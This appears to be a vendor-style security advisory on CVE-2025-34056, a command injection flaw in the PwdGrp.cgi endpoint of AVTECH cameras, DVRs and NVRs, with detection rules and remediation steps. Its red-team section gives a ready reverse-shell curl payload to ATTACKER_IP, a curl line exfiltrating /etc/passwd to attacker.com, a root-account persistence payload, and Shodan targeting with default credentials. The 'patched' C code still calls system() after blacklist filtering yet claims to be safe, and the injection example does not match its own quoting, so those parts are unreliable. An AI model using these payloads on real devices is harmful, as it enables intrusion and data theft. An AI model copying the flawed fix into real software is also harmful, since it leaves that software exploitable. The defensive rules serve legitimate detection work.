CVE-2025-34056

Executive Summary

CVE-2025-34056 is a critical OS command injection vulnerability in AVTECH IP cameras, DVRs, and NVRs. The flaw resides in the PwdGrp.cgi endpoint, which handles user and group management. An authenticated attacker can inject arbitrary shell commands via the pwd or grp parameters, which are unsafely embedded into system commands. Successful exploitation grants root-level command execution, leading to full device compromise, data exfiltration, or use in botnets.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in AVTECH embedded devices.

CVSS Breakdown & Threat Level

• CVSS Score: 9.9 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The low attack complexity and high impact make this a prime target for attackers, especially in IoT botnet campaigns.

Deep Dive & Mechanics

The vulnerability exists in the PwdGrp.cgi CGI script. This script is used for managing user accounts and groups on the device. It accepts parameters such as pwd (password) and grp (group). The input from these parameters is concatenated directly into a shell command without proper sanitization or escaping.

For example, a request like:

http://target/cgi-bin/PwdGrp.cgi?action=add&user=admin&pwd=test;id

would result in the execution of a command similar to:

echo "admin:test;id" >> /etc/passwd

The injected ;id would be executed as a separate command, revealing the current user ID (root).

The root cause is the lack of input validation and the use of unsafe functions like system() or popen() in the CGI script.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual C):

void handle_pwdgrp(char *pwd, char *grp) {
    char cmd[512];
    snprintf(cmd, sizeof(cmd), "echo \"%s:%s\" >> /etc/passwd", pwd, grp);
    system(cmd); // Vulnerable: no input sanitization
}

Patched Code (Conceptual C):

void handle_pwdgrp(char *pwd, char *grp) {
    // Sanitize input: remove shell metacharacters
    sanitize_input(pwd);
    sanitize_input(grp);
    char cmd[512];
    snprintf(cmd, sizeof(cmd), "echo \"%s:%s\" >> /etc/passwd", pwd, grp);
    system(cmd); // Now safe due to sanitization
}

The patched version would use a whitelist of allowed characters or escape shell metacharacters (e.g., ;, |, &, $, `).

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to an AVTECH device with a valid user account (e.g., default credentials admin:admin).
• Network connectivity to the device's web interface.

Exploitation Steps:

1. Identify Target: Use Shodan or similar to find AVTECH devices.
2. Authenticate: Obtain a session cookie by logging in.
3. Craft Payload: Inject a command via the pwd or grp parameter.

   # Example: Reverse shell
   curl -X POST "http://target/cgi-bin/PwdGrp.cgi" \
     -d "action=add&user=test&pwd=test;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1&"
   

4. Execute: Send the request. The device will execute the injected command.
5. Receive Shell: On your attacker machine, listen for the reverse shell.

   nc -lvnp 4444
   

Alternative Payloads:

• Data Exfiltration: pwd=test;curl http://attacker.com/$(cat /etc/passwd)
• Persistence: pwd=test;echo "attacker::0:0:root:/root:/bin/sh" >> /etc/passwd

Blue Team

Detection:

• Monitor web server logs for unusual parameters in requests to /cgi-bin/PwdGrp.cgi.
• Look for shell metacharacters (;, |, &, $, `) in the pwd or grp parameters.
• Alert on outbound connections from the device to unknown IPs on unusual ports (e.g., 4444).

Hunting:

• Search for processes spawned by the web server that are not typical (e.g., bash, nc, curl).
• Check for unauthorized user accounts in /etc/passwd or /etc/shadow.
• Review system logs for command execution events.

Indicators of Compromise (IOCs)

• Network:
  • Outbound connections from the device to attacker-controlled IPs on ports 4444, 8080, etc.
  • HTTP requests to /cgi-bin/PwdGrp.cgi containing shell metacharacters.
• File System:
  • Unauthorized entries in /etc/passwd or /etc/shadow.
  • Presence of files in /tmp/ with suspicious names (e.g., .bash_history, exploit.sh).
• Processes:
  • Running processes like bash, nc, curl, wget spawned by the web server.
• Logs:
  • Web server logs showing PwdGrp.cgi requests with pwd= or grp= containing ;, |, or &.

Detection Engineering

YARA Rule

rule CVE_2025_34056_AVTECH_Command_Injection {
    meta:
        description = "Detects command injection attempts in AVTECH PwdGrp.cgi"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-34056"
    strings:
        $pwd_param = "pwd=" nocase
        $grp_param = "grp=" nocase
        $shell_meta = /[;&|`$()]/
    condition:
        ($pwd_param or $grp_param) and $shell_meta
}

Sigma Rule

title: AVTECH PwdGrp.cgi Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects command injection attempts via PwdGrp.cgi on AVTECH devices
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-34056
logsource:
    category: webserver
    product: apache
    service: httpd
detection:
    selection:
        cs-uri-query|contains:
            - 'PwdGrp.cgi'
        cs-uri-query|re: 'pwd=.*[;&|`$()]|grp=.*[;&|`$()]'
    condition: selection
falsepositives:
    - Legitimate use of special characters in passwords (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-34056 AVTECH PwdGrp.cgi Command Injection Attempt"; flow:to_server,established; content:"PwdGrp.cgi"; http_uri; pcre:"/(pwd|grp)=.*[;&|`$()]/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate Devices: Place AVTECH devices on a separate VLAN with strict firewall rules. Block outbound internet access unless absolutely necessary.
2. Change Default Credentials: Ensure all devices use strong, unique passwords.
3. Disable Unused Services: If PwdGrp.cgi is not required, disable the CGI script or restrict access via web server configuration.

Long-Term Fix:

• Vendor Patch: Await an official firmware update from AVTECH. Contact their support for a timeline.
• Workaround: If patching is not possible, implement a Web Application Firewall (WAF) rule to block requests containing shell metacharacters in the pwd or grp parameters.
• Replace Devices: Consider replacing vulnerable devices with alternatives that receive regular security updates.

Detection & Monitoring:

• Deploy the provided YARA, Sigma, and Suricata rules.
• Enable detailed logging on the web server and monitor for suspicious activity.

Valters IT